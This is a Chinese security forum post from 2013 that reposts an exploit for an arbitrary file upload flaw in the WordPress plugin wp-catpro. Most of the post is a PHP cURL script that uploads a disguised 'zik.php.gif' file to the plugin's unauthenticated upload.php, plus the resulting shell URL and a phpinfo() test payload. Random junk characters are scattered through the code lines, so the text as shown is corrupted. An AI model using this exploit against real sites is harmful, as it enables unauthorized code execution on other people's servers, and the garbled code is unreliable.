找回密码
 立即注册
查看: 2889|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
* R6 c. e: |2 y#-----------------------------------------------------------------------
( v9 Q$ o. ?% I# q. W1 [ + s% |  P" l/ Z# A. I" D* F) c2 }
作者  => Zikou-16. i9 {" ?, h- Z! R. i
邮箱 => zikou16x@gmail.com
2 q4 T* m3 s  i- E( w测试系统 : Windows 7 , Backtrack 5r39 @6 B9 `9 L- Z3 v3 f
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip5 ^1 ~' `) b; A' y3 k2 Y
####4 U, H. X5 R; g' ~- G8 g2 B8 V" V
( P6 U. w  z/ D
#=> Exploit 信息:! l3 b( t% f9 B
------------------
6 ^, |: y/ E5 R6 F2 h0 u' d  Q# 攻击者可以上传 file/shell.php.gif
# k" b# R: G$ D# ("jpg", "gif", "png")  // Allowed file extensions: x/ M- W0 H& u2 f
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
- T. _" s$ m/ z& b* t" h# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)1 V) Q* `0 b: {9 N- O6 w& X7 `
------------------
' l- x; n9 [7 S1 y- V  x0 U 3 c" V5 J) ?9 ~/ G/ l
#=> Exploit/ V$ f2 b3 r, T+ f+ N
-----------
: d4 }  Y& S! C  z<?php
' y, _3 _5 Z1 S7 D/ j2 _9 a
7 i: z' B! h9 T3 r8 P$uploadfile="zik.php.gif";
: B% C9 J$ ]* V/ T& [7 U$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
* G& b1 T7 r" ^curl_setopt($ch, CURLOPT_POST, true);
( I4 {9 R2 R. G4 ~  [. Zcurl_setopt($ch, CURLOPT_POSTFIELDS,' k* s( b) E2 q" x* M3 W3 X$ d" u
array('Filedata'=>"@$uploadfile",% o% O6 @2 R0 R9 i
'folder'=>'/wp-content/uploads/catpro/'));4 V2 L) X- |" n. a6 V
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);" v; x0 `, M" v  u4 E& J. P& s9 k
$postResult = curl_exec($ch);
; U! C2 C; y4 e! f. m7 t9 Kcurl_close($ch);. i; a$ S0 ~, ~& C& q
1 }3 x$ Y8 A9 \5 a1 c+ O) e( _9 t
print "$postResult";+ z3 }% k9 {) x1 i: c
0 d7 f  I# w$ u% w" y+ x3 n/ z) R
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif5 u+ k# ~' t7 f* ?: ~
  ?>
. k7 R1 j) B8 p) h. Y" Y. V8 f# {+ z<?php3 \# n1 z7 b0 [8 _
phpinfo();
/ ~6 Q- d2 s, K% [& w?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表